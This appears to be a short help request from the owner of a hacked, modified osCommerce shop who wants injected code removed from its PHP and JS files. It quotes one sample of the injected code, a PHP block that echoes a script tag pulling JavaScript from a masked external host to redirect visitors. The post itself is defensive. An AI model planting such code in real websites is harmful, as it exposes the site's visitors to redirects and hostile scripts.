Clean up code on website

Hi, On a website we have a problem with some code. It seems as the site was hacked, and in PHP and JS files, there is some code added. This code redirects to other sites. It is something as : <?php #39a8bc# if(empty($ryh)) { $ryh = "<script type=\"text/javascript\" src=\"http://cxxxxxxxxxxxxxxxxxxxxxxxxxxx7\"></script>"; echo $ryh; } #/39a8bc# ?> This kind of code is added everywhere in the source files. The shop is a modified OSCOMMERCE shop. This gives an idea about the number of files to check.